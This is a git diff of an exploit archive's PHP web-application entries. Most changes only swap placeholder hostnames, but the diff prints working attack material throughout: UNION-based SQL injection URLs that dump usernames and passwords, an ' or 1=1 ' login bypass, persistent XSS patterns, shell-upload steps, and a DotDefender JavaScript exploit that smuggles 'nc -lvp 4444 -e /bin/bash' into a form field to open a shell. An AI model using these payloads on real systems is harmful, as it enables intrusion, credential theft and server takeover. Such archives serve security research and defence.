Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14228.txt b/platforms/php/webapps/14228.txt index 85012daad..c9b5017f3 100755 --- a/platforms/php/webapps/14228.txt +++ b/platforms/php/webapps/14228.txt @@ -24,4 +24,4 @@ DEMO URL 2:hhttp://server/General_Classifieds/browse.php?pcat=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14229.txt b/platforms/php/webapps/14229.txt index 5d64e1481..43cf00870 100755 --- a/platforms/php/webapps/14229.txt +++ b/platforms/php/webapps/14229.txt @@ -23,4 +23,4 @@ DEMO URL :http://server/Auto_Classifieds/articlesdetails.php?id=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14230.txt b/platforms/php/webapps/14230.txt index a959fa9a1..b4ce29008 100755 --- a/platforms/php/webapps/14230.txt +++ b/platforms/php/webapps/14230.txt @@ -30,4 +30,4 @@ Use ' or 1=1 or ''=' in both username and password :) ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14233.txt b/platforms/php/webapps/14233.txt index 3d5975d86..3105f7617 100755 --- a/platforms/php/webapps/14233.txt +++ b/platforms/php/webapps/14233.txt @@ -25,4 +25,4 @@ DEMO URL :http://server/Auction_Software/confirm.php?id=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14237.txt b/platforms/php/webapps/14237.txt index 33b17efe1..c73f70602 100755 --- a/platforms/php/webapps/14237.txt +++ b/platforms/php/webapps/14237.txt @@ -90,4 +90,4 @@ Digital Security Research Group focuses on enterprise application (ERP) and data posted regularly on our website. Contact: research [at] dsecrg [dot] com -http://www.dsecrg.com \ No newline at end of file +http://www.dsecrg.com \ No newline at end of file diff --git a/platforms/php/webapps/14238.txt b/platforms/php/webapps/14238.txt index ac68b87f2..3b94d6b3e 100755 --- a/platforms/php/webapps/14238.txt +++ b/platforms/php/webapps/14238.txt @@ -23,7 +23,7 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/Auction_Software/articlesdetails.php?id= ++Vulnerability : www.site.com/Auction_Software/articlesdetails.php?id= ---------------------------------------------------------------------------------------- #!/usr/bin/ruby #4004-security-project.com @@ -42,7 +42,7 @@ print " " block = "#########################################################" print ""+ block +"" -print "\nEnter host name (server)->" +print "\nEnter host name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter script path (/script/)->" diff --git a/platforms/php/webapps/14239.txt b/platforms/php/webapps/14239.txt index 78e340ffd..2dfb6396a 100755 --- a/platforms/php/webapps/14239.txt +++ b/platforms/php/webapps/14239.txt @@ -22,12 +22,12 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/Auto_Dealer/info.php?id= ++Vulnerability : www.site.com/Auto_Dealer/info.php?id= ---------------------------------------------------------------------------------------- +Proof of Concept +Table : cars_agents +columns : LastName, FirstName, password, username ,AgentID ,email -+Proof of Concept : www.server/Auto_Dealer/info.php?id='/**/uNiOn+/**/SeLeCt+/**/1,2, ++Proof of Concept : www.site.com/Auto_Dealer/info.php?id='/**/uNiOn+/**/SeLeCt+/**/1,2, 3,4,5,version(),7,8,9,10,11,12,13,14,15,16--+ ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/14240.txt b/platforms/php/webapps/14240.txt index 78597f959..916496f0b 100755 --- a/platforms/php/webapps/14240.txt +++ b/platforms/php/webapps/14240.txt @@ -21,12 +21,12 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/Auto_Classifieds/info.php?id= ++Vulnerability : www.site.com/Auto_Classifieds/info.php?id= ---------------------------------------------------------------------------------------- +Proof of Concept +Table : cars_agents +columns : LastName, FirstName, password, username ,AgentID ,email -+Proof of Concept : www.server/Auto_Classifieds/info.php?id=%27/**/uNiOn+/**/SeLeCt+ ++Proof of Concept : www.site.com/Auto_Classifieds/info.php?id=%27/**/uNiOn+/**/SeLeCt+ /**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 ,version%28%29,33,34,35,36,37,38,39,40,41--+ ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/14241.txt b/platforms/php/webapps/14241.txt index badf9e902..9841559da 100755 --- a/platforms/php/webapps/14241.txt +++ b/platforms/php/webapps/14241.txt @@ -20,9 +20,9 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/Business_Directory/articlesdetails.php?id= ++Vulnerability : www.site.com/Business_Directory/articlesdetails.php?id= ---------------------------------------------------------------------------------------- -+Proof of Concept : www.server/Business_Directory/articlesdetails.php?id=%27/**/+ ++Proof of Concept : www.site.com/Business_Directory/articlesdetails.php?id=%27/**/+ uNiOn+/**/sEleCt+/**/1,2,gRoUp_cOnCat%28user,0x3a,pass%29+/**/fRoM+/**/fpoll_config--+ ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/14242.txt b/platforms/php/webapps/14242.txt index 8484fa3bb..03eb6e731 100755 --- a/platforms/php/webapps/14242.txt +++ b/platforms/php/webapps/14242.txt @@ -20,9 +20,9 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/General_Classifieds/articlesdetails.php?id= ++Vulnerability : www.site.com/General_Classifieds/articlesdetails.php?id= ---------------------------------------------------------------------------------------- -+Proof of Concept : www.server/General_Classifieds/articlesdetails.php?id='/**/+ ++Proof of Concept : www.site.com/General_Classifieds/articlesdetails.php?id='/**/+ uNiOn+/**/SeLeCt+/**/1,gRoUp_cOnCat(user,0x3a,pass),3+/**/fRoM+/**/fpoll_config--+ ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/14243.txt b/platforms/php/webapps/14243.txt index 729702343..7500c8528 100755 --- a/platforms/php/webapps/14243.txt +++ b/platforms/php/webapps/14243.txt @@ -20,12 +20,12 @@ N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco. ---------------------------------------------------------------------------------------- -+Vulnerability : www.server/Events_Locator/articlesdetails.php?id= ++Vulnerability : www.site.com/Events_Locator/articlesdetails.php?id= ---------------------------------------------------------------------------------------- +Proof of Concept +Table : events_agents +columns : AgentID, username, password,email -+Proof of Concept : www.server/Events_Locator/articlesdetails.php?id='+/**/uNiOn+/**/ ++Proof of Concept : www.site.com/Events_Locator/articlesdetails.php?id='+/**/uNiOn+/**/ SeLeCt+/**/1,version(),3--+ ---------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/14244.txt b/platforms/php/webapps/14244.txt index 033a01cfd..8c86f4dd6 100755 --- a/platforms/php/webapps/14244.txt +++ b/platforms/php/webapps/14244.txt @@ -26,4 +26,4 @@ DEMO URL :http://server/index.php?new_a=addalbum&artist_id=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14247.txt b/platforms/php/webapps/14247.txt index 6f3b22302..6db021afd 100755 --- a/platforms/php/webapps/14247.txt +++ b/platforms/php/webapps/14247.txt @@ -10,7 +10,7 @@ dork : "PHPAuction GPL Enhanced V2.51 by AuctionCode.com" Xploit : Auth Bypass Demo : -http://www.server/demos/Auction_Software/admin/ +http://www.site.com/demos/Auction_Software/admin/ UserName: ' or 1=1 or ''=' diff --git a/platforms/php/webapps/14249.txt b/platforms/php/webapps/14249.txt index 7e4cf89cb..6eeb87c33 100755 --- a/platforms/php/webapps/14249.txt +++ b/platforms/php/webapps/14249.txt @@ -14,8 +14,8 @@ AutarTimonial consists of a component to manage testimonials, and a module disp ####################################################################################################### Xploit :SQli Vulnerability -DEMO URL :http://www.server/index.php?option=com_autartimonial&view=autartimonial&limit=[sqli] +DEMO URL :http://www.site.com/index.php?option=com_autartimonial&view=autartimonial&limit=[sqli] ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14250.txt b/platforms/php/webapps/14250.txt index a2a062498..38c07e2db 100755 --- a/platforms/php/webapps/14250.txt +++ b/platforms/php/webapps/14250.txt @@ -19,4 +19,4 @@ DEMO URL :http://server/index.php?option=com_neorecruit&task=offer_view&id=155&I ############################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14260.txt b/platforms/php/webapps/14260.txt index ad32d3122..f030009ee 100755 --- a/platforms/php/webapps/14260.txt +++ b/platforms/php/webapps/14260.txt @@ -32,4 +32,4 @@ Step 3 : Now goto the main page,check the blog section and the url is http://www The attacker can injected evil xss script in the blog section :D ######################################################################################################## # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14262.txt b/platforms/php/webapps/14262.txt index 589f30092..406181fce 100755 --- a/platforms/php/webapps/14262.txt +++ b/platforms/php/webapps/14262.txt @@ -15,4 +15,4 @@ Xploit :SQli Vulnerability Demo Url :http://server/detail.php?doc_id=[sqli] ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14277.txt b/platforms/php/webapps/14277.txt index bd5347282..c5da38fa3 100755 --- a/platforms/php/webapps/14277.txt +++ b/platforms/php/webapps/14277.txt @@ -28,7 +28,7 @@ Inout Music is the most powerful, affordable, flexible, feature rich, customizab ####################################################################################################### Xploit :Shell Upload Vulnerability -DEMO URL http://www.server/inout_music_ultimate/audio/addtrack +DEMO URL http://www.site.com/inout_music_ultimate/audio/addtrack diff --git a/platforms/php/webapps/14278.txt b/platforms/php/webapps/14278.txt index 652936dc5..e86b2de3a 100755 --- a/platforms/php/webapps/14278.txt +++ b/platforms/php/webapps/14278.txt @@ -31,9 +31,9 @@ Inout Article Base is a powerful, feature rich, fully customizable article scrip ####################################################################################################### Xploit :Shell Upload Vulnerability -DEMO URL http://www.server/inout_article_base_ultimate/member/newarticle +DEMO URL http://www.site.com/inout_article_base_ultimate/member/newarticle -Uploaded Path : http://www.server/inout_article_base_ultimate/admin/pictures/692/ +Uploaded Path : http://www.site.com/inout_article_base_ultimate/admin/pictures/692/ unpriviledged user could be Able to upload Shell and take over the control . diff --git a/platforms/php/webapps/14279.txt b/platforms/php/webapps/14279.txt index 63906501c..4e815fa23 100755 --- a/platforms/php/webapps/14279.txt +++ b/platforms/php/webapps/14279.txt @@ -28,9 +28,9 @@ Inout Adserver is powerful, feature rich, fully customizable PayPerClick adverti ####################################################################################################### Xploit :Shell Upload Vulnerability -DEMO URL http://www.server/inout_adserver_ultimate/ppc-new-image-ad.php +DEMO URL http://www.site.com/inout_adserver_ultimate/ppc-new-image-ad.php -Uploaded Path : http://www.server/inout_adserver_ultimate/ppc-banners/ +Uploaded Path : http://www.site.com/inout_adserver_ultimate/ppc-banners/ unpriviledged user could be Able to upload Shell and take over the control . diff --git a/platforms/php/webapps/14280.txt b/platforms/php/webapps/14280.txt index 6d00ae364..f3b66d0ec 100755 --- a/platforms/php/webapps/14280.txt +++ b/platforms/php/webapps/14280.txt @@ -28,7 +28,7 @@ PG Social Networking lets you start your Social Networking Site with many of the ####################################################################################################### eXploit :Shell Upload vulnerabilty -DEMO URL http://demo.server/social/myprofile.php +DEMO URL http://demo.site.com/social/myprofile.php Could be able to Upload shell as Image file diff --git a/platforms/php/webapps/14291.txt b/platforms/php/webapps/14291.txt index 2e10886b5..edbab7627 100755 --- a/platforms/php/webapps/14291.txt +++ b/platforms/php/webapps/14291.txt @@ -18,8 +18,8 @@ New users appreciate the easy-to-use tools designed to help set up their store q Xploit: SQli Vulnerability -Demo url : http://server/ixxo-cart-plus-demo/index.php?p=catalog&parent=[SQLI] +Demo url : http://site.com/ixxo-cart-plus-demo/index.php?p=catalog&parent=[SQLI] ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14293.txt b/platforms/php/webapps/14293.txt index ed4d2341f..3027b9634 100755 --- a/platforms/php/webapps/14293.txt +++ b/platforms/php/webapps/14293.txt @@ -1,4 +1,4 @@ -======================================================= + ======================================================= Minify4Joomla Upload and Persistent XSS Vulnerability ======================================================= @@ -36,4 +36,4 @@ Demo url : http://website/index.php?option=com_content&view=article&layout=form& 3.Now check your article ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14296.txt b/platforms/php/webapps/14296.txt index 5f060495d..775715362 100755 --- a/platforms/php/webapps/14296.txt +++ b/platforms/php/webapps/14296.txt @@ -40,4 +40,4 @@ Feature List: [+]. SQL-i Vulnerability =+=+=+=+=+=+=+=+=+ -[Exploit]: http://127.0.0.1/path/index.php?option=com_quickfaq&view=category&cid=[Valid Cid]&Itemid= [BSQL-Injection] \ No newline at end of file +[Exploit]: http://127.0.0.1/path/index.php?option=com_quickfaq&view=category&cid=[Valid Cid]&Itemid= [BSQL-Injection] \ No newline at end of file diff --git a/platforms/php/webapps/14310.js b/platforms/php/webapps/14310.js index 3d15c0e46..9663b72e5 100755 --- a/platforms/php/webapps/14310.js +++ b/platforms/php/webapps/14310.js @@ -11,14 +11,14 @@ DotDefender uses HTTP Basic Auth to secure its management interface, which is co The caveot of this attack is that DotDefender's Administrative Interface can not be run without javascript nor does the User-Agent field have a size limit. The most I tried was a 6000 character User-Agent field (in which you can put almost anything with that amount of space) and all of the information was still available. For this attack to work, you must first trigger DotDefender to log your activity and then simply have the DotDefender administrator look at the log you created. This is can be done with anything that DotDefender blocks such as Cross-Site Scripting or SQL Injection, then you simply modify your User-Agent field to include your script such as: -<script language="JavaScript" src="http://Myserver/DotDefender.js"></script> +<script language="JavaScript" src="http://MySite.com/DotDefender.js"></script> ************************************************************************/ -//This is the first stage of the attack. What this stage does is creates an AJAX POST request to the index.cgi page with the parameters to delete a server from the list. This is where John Dos's vulnerability comes into to play. Since we are executing this script using AJAX and we can send the proper POST parameters to the index page, there is no need to bypass the HTTP Basic Auth that is used, since this will all be running as the administrator of DotDefender. This example opens a netcat listener on port 4444 (which when tested on Ubuntu Server 9.10, has the -e option available). The only thing that must be changed is the server name to correspond to the site that is being protected by DotDefender. +//This is the first stage of the attack. What this stage does is creates an AJAX POST request to the index.cgi page with the parameters to delete a server from the list. This is where John Dos's vulnerability comes into to play. Since we are executing this script using AJAX and we can send the proper POST parameters to the index page, there is no need to bypass the HTTP Basic Auth that is used, since this will all be running as the administrator of DotDefender. This example opens a netcat listener on port 4444 (which when tested on Ubuntu Server 9.10, has the -e option available). The only thing that must be changed is the site.com name to correspond to the site that is being protected by DotDefender. var http = new XMLHttpRequest(); var url = "../index.cgi"; -var params = "sitename=server&deletesitename=server;nc -lvp 4444 -e /bin/bash;&action=deletesite&linenum=14"; +var params = "sitename=site.com&deletesitename=site.com;nc -lvp 4444 -e /bin/bash;&action=deletesite&linenum=14"; http.open("POST",url,true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-lenth", params.length); @@ -52,7 +52,7 @@ http2.send(params2); //This is the third stage of the attack. Since the code-execution vulnerability required the site to be deleted from DotDefender, the site must now be added back into the list. var http3 = new XMLHttpRequest(); -var params3 = "newsitename=server&action=newsite"; +var params3 = "newsitename=site.com&action=newsite"; http3.open("POST",url,true); http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http3.setRequestHeader("Content-lenth", params3.length); diff --git a/platforms/php/webapps/14312.txt b/platforms/php/webapps/14312.txt index 1c81dd354..39057e730 100755 --- a/platforms/php/webapps/14312.txt +++ b/platforms/php/webapps/14312.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14313.txt b/platforms/php/webapps/14313.txt index 7e9f98273..f0ae567e6 100755 --- a/platforms/php/webapps/14313.txt +++ b/platforms/php/webapps/14313.txt @@ -14,4 +14,4 @@ Xploit: BSQLi Vulnerability DEMO URL : http://server/path/index.php?option=com_myhome&task=4&nidimm=[BSQLi] ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14315.txt b/platforms/php/webapps/14315.txt index f5f6682ef..efdc7e61c 100755 --- a/platforms/php/webapps/14315.txt +++ b/platforms/php/webapps/14315.txt @@ -29,4 +29,4 @@ Step 4: your shell is uploaded and now you do ur job ;) ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14316.pl b/platforms/php/webapps/14316.pl index 87b4c9389..8bdb4dcc9 100755 --- a/platforms/php/webapps/14316.pl +++ b/platforms/php/webapps/14316.pl @@ -32,7 +32,7 @@ sub Nuke::Bench { sub Nuke::Usage() { print "[+] Usage: perl nuke.pl <host>\n"; print "[+] the host must be the complete path to modules.php\n"; - print "[+] Example: perl nuke.pl http://www.server/modules.php\n"; + print "[+] Example: perl nuke.pl http://www.site.com/modules.php\n"; } sub Nuke::Banner() { diff --git a/platforms/php/webapps/14320.pl b/platforms/php/webapps/14320.pl index 29cbe5b3c..5e75338bd 100755 --- a/platforms/php/webapps/14320.pl +++ b/platforms/php/webapps/14320.pl @@ -30,7 +30,7 @@ sub Nuke::Bench { sub Nuke::Usage() { print "[+] Usage: perl nuke.pl <host>\n"; print "[+] the host must be the complete path to modules.php\n"; - print "[+] Example: perl nuke.pl http://www.server/modules.php\n"; + print "[+] Example: perl nuke.pl http://www.site.com/modules.php\n"; } sub Nuke::Banner() { diff --git a/platforms/php/webapps/14326.txt b/platforms/php/webapps/14326.txt index feeab1e4d..e76dd3ba6 100755 --- a/platforms/php/webapps/14326.txt +++ b/platforms/php/webapps/14326.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/14327.txt b/platforms/php/webapps/14327.txt index 7e582659a..374212a4f 100755 --- a/platforms/php/webapps/14327.txt +++ b/platforms/php/webapps/14327.txt @@ -25,8 +25,8 @@ Attack pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> Step 4 : Once done,go check your evil recipe ;).The location would be - http://server/recipes/[ur evil recipe name.html] + http://site.com/recipes/[ur evil recipe name.html] ######################################################################################################## # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14354.txt b/platforms/php/webapps/14354.txt index 786c7c878..74aea557f 100755 --- a/platforms/php/webapps/14354.txt +++ b/platforms/php/webapps/14354.txt @@ -30,4 +30,4 @@ Demo URL : http://server/ajarticlev3/?do=article&action=show ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14356.txt b/platforms/php/webapps/14356.txt index c52e18594..875fd62d9 100755 --- a/platforms/php/webapps/14356.txt +++ b/platforms/php/webapps/14356.txt @@ -29,4 +29,4 @@ Demo url : http://server/usercp/profile/edit/ ----> Go here and insert your x ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14363.txt b/platforms/php/webapps/14363.txt index 6b4bba5aa..31f722603 100755 --- a/platforms/php/webapps/14363.txt +++ b/platforms/php/webapps/14363.txt @@ -29,4 +29,4 @@ Attack pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14370.txt b/platforms/php/webapps/14370.txt index 3a594f04e..3322470b4 100755 --- a/platforms/php/webapps/14370.txt +++ b/platforms/php/webapps/14370.txt @@ -19,7 +19,7 @@ Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and all ICW mem ############################################################################## Exploit url : -http://www.server/Scripts_Directory/info.php?id=[sqli] +http://www.site.com/Scripts_Directory/info.php?id=[sqli] ################################################################################## #D4rk357 diff --git a/platforms/php/webapps/14371.txt b/platforms/php/webapps/14371.txt index 897300da9..3d987297f 100755 --- a/platforms/php/webapps/14371.txt +++ b/platforms/php/webapps/14371.txt @@ -20,7 +20,7 @@ Shoutz to : http://ahbab-dz.com/fun and all members Exploit : -http://www.server/[path]/articlesdetails.php?id=[sqli] +http://www.site.com/[path]/articlesdetails.php?id=[sqli] ################################################################################## diff --git a/platforms/php/webapps/14389.txt b/platforms/php/webapps/14389.txt index 6d4ce528e..7e2158b5a 100755 --- a/platforms/php/webapps/14389.txt +++ b/platforms/php/webapps/14389.txt @@ -15,17 +15,17 @@ Xploit: Persistent XSS Vulnerability Step 1 : Register as a user. Step 2 : Now go and post your project -DEMO URL :http://server/post_project.php +DEMO URL :http://site.com/post_project.php Step 3 : The attacker can insert xss scripts in the "title" and the "describe project" area. Attack Pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> Step 4 : Now check the main sites for the projects and you may find your script ;) -DEMO URL : http://server/all_projects.php +DEMO URL : http://site.com/all_projects.php -DEMO URL :http://server/project_3_marqueeh1xss3d-by-sid3effectsh1marque.html +DEMO URL :http://site.com/project_3_marqueeh1xss3d-by-sid3effectsh1marque.html ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14390.txt b/platforms/php/webapps/14390.txt index 7a5a89f79..ab184be65 100755 --- a/platforms/php/webapps/14390.txt +++ b/platforms/php/webapps/14390.txt @@ -17,12 +17,12 @@ Xploit: Persistent Upload Vulnerability Step 1 : Register as a user. Step 2 : Now go and post your project -DEMO URL :http://server/post_project.php +DEMO URL :http://site.com/post_project.php Step 3 : The attacker can insert thier evil scripts or shells in the "describe" section. Step 4 : Now check the main sites for the projects and you may find your script or shell ;) -DEMO URL : http://server/all_projects.php +DEMO URL : http://site.com/all_projects.php ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14391.txt b/platforms/php/webapps/14391.txt index 3b7ed87ce..604bdcc64 100755 --- a/platforms/php/webapps/14391.txt +++ b/platforms/php/webapps/14391.txt @@ -16,7 +16,7 @@ Step 1 : Register Step 2 : Submit your auto. -DEMO URL :http://autos.server/autos/submit.php +DEMO URL :http://autos.site.com/autos/submit.php Step 3 : The attacker can insert their xss scripts in the options. @@ -24,9 +24,9 @@ Attack Pattern :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> Step 4 : Now check your automobile :) -DEMO URL :http://autos.server/autos/account-autos.html +DEMO URL :http://autos.site.com/autos/account-autos.html -My demo :http://autos.server/autos/Acura/MDX/Acura-MDX-marquee-h1-XSS3d-By-Sid3-effects-h1-marqu-a6.html +My demo :http://autos.site.com/autos/Acura/MDX/Acura-MDX-marquee-h1-XSS3d-By-Sid3-effects-h1-marqu-a6.html ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14392.txt b/platforms/php/webapps/14392.txt index 4c6f7406e..2962bdd18 100755 --- a/platforms/php/webapps/14392.txt +++ b/platforms/php/webapps/14392.txt @@ -15,4 +15,4 @@ Xploit:SQli Vulnerability http://[site]/supportsuite/index.php?_m=news&_a=viewnews&newsid=[Sqli] ####################################################################################################### # 0day no more -# Sid3^effects \ No newline at end of file +# Sid3^effects \ No newline at end of file diff --git a/platforms/php/webapps/14394.txt b/platforms/php/webapps/14394.txt index e27d95669..909930422 100755 --- a/platforms/php/webapps/14394.txt +++ b/platforms/php/webapps/14394.txt @@ -12,7 +12,7 @@ Homepage : http://www.1923turk.com [+] Vulnerable File : -http://www.server/index.php?option=com_spa&view=spa_product&cid=[SQL] +http://www.site.com/index.php?option=com_spa&view=spa_product&cid=[SQL] [+] ExploiT : @@ -22,12 +22,12 @@ http://www.server/index.php?option=com_spa&view=spa_product&cid=[SQL] [+] Example : -http://www.server/index.php?option=com_spa&view=spa_product&cid=-1+union+select concat(username,0x3a,password)+from+jos_users +http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-1+union+select concat(username,0x3a,password)+from+jos_users [+] Demo : -http://www.server/index.php?option=com_spa&view=spa_product&cid=-20+union+select+concat(username,0x3a,password)+from+jos_users +http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-20+union+select+concat(username,0x3a,password)+from+jos_users =================================================== diff --git a/platforms/php/webapps/14395.txt b/platforms/php/webapps/14395.txt index b698fab35..795c72071 100755 --- a/platforms/php/webapps/14395.txt +++ b/platforms/php/webapps/14395.txt @@ -12,7 +12,7 @@ Homepage : http://www.1923turk.com [+] Vulnerable File : -http://www.server/index.php?option=com_staticxt&staticfile=test.php&id=1923[SQL] +http://www.site.com/index.php?option=com_staticxt&staticfile=test.php&id=1923[SQL] [+] ExploiT : @@ -27,12 +27,12 @@ jos_users-- [+] Example : -http://www.server/index.php?option=com_staticxt&staticfile=test.php&id=-1923+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users +http://www.site.com/index.php?option=com_staticxt&staticfile=test.php&id=-1923+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users [+] Demo : -http://www.server/index.php?option=com_staticxt&staticfile=test1.php&id=-79+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users +http://www.site.com/index.php?option=com_staticxt&staticfile=test1.php&id=-79+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users =================================================== diff --git a/platforms/php/webapps/1442.pl b/platforms/php/webapps/1442.pl index 03cdf2467..99011584a 100755 --- a/platforms/php/webapps/1442.pl +++ b/platforms/php/webapps/1442.pl @@ -7,8 +7,8 @@ # All rights reserved. # # never ctrl+c again. -# cijfer$ http://server/dir -# host changed to 'http://server/dir' +# cijfer$ http://target.com/dir +# host changed to 'http://target.com/dir' # cijfer$ # # $Id: cijfer-ezdbxpl.pl,v 0.1 2006/01/21 019:22:00 cijfer Exp $ @@ -39,7 +39,7 @@ sub usage { print "ezDatabase Remote Command Execution Exploit\n"; print "Usage: $0 -hp [OPTION]...\n\n"; - print " -h --host\tfull address of target (ex. http://www.webserver/directory)\n"; + print " -h --host\tfull address of target (ex. http://www.website.com/directory)\n"; print " -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n"; print " -v --verbose\tverbose mode\n\n"; exit; diff --git a/platforms/php/webapps/14423.txt b/platforms/php/webapps/14423.txt index 3224e9758..f11859231 100755 --- a/platforms/php/webapps/14423.txt +++ b/platforms/php/webapps/14423.txt @@ -9,16 +9,16 @@ DORK : inurl:"index.php?option=com_spa" =================================================== [+] Vulnerable File : -http://www.server/index.php?option=com_spa&view=spa_read_more&pid=[SQL] +http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=[SQL] [+] ExploiT : -35 UNION SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13 from jos_users-- [+] Example : -http://www.server/index.php?option=com_spa&view=spa_read_more&pid=-35UNION +http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35UNION SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13 from jos_users-- [+] Demo : -http://www.server/index.php?option=com_spa&view=spa_read_more&pid=-35%20UNION%20SELECT%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13%20from%20jos_users-- +http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35%20UNION%20SELECT%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13%20from%20jos_users-- diff --git a/platforms/php/webapps/14426.pl b/platforms/php/webapps/14426.pl index 9d70d1fff..bfd7ef5e5 100755 --- a/platforms/php/webapps/14426.pl +++ b/platforms/php/webapps/14426.pl @@ -69,3 +69,4 @@ sub exploit () #Exploit failed... print "- Exploit failed\n" } + \ No newline at end of file diff --git a/platforms/php/webapps/14430.txt b/platforms/php/webapps/14430.txt index 3a6d754bd..e56b13171 100755 --- a/platforms/php/webapps/14430.txt +++ b/platforms/php/webapps/14430.txt @@ -26,11 +26,11 @@ example : shell.php >>>>>>> to shell.php.001 or shell.php.00 After trasfer this you can run it in this Url : -http://server/0x14/shell.php.001 +http://site.com/0x14/shell.php.001 or -http://server/0x14/shell.php.00 +http://site.com/0x14/shell.php.00 ############################################################################# Website : 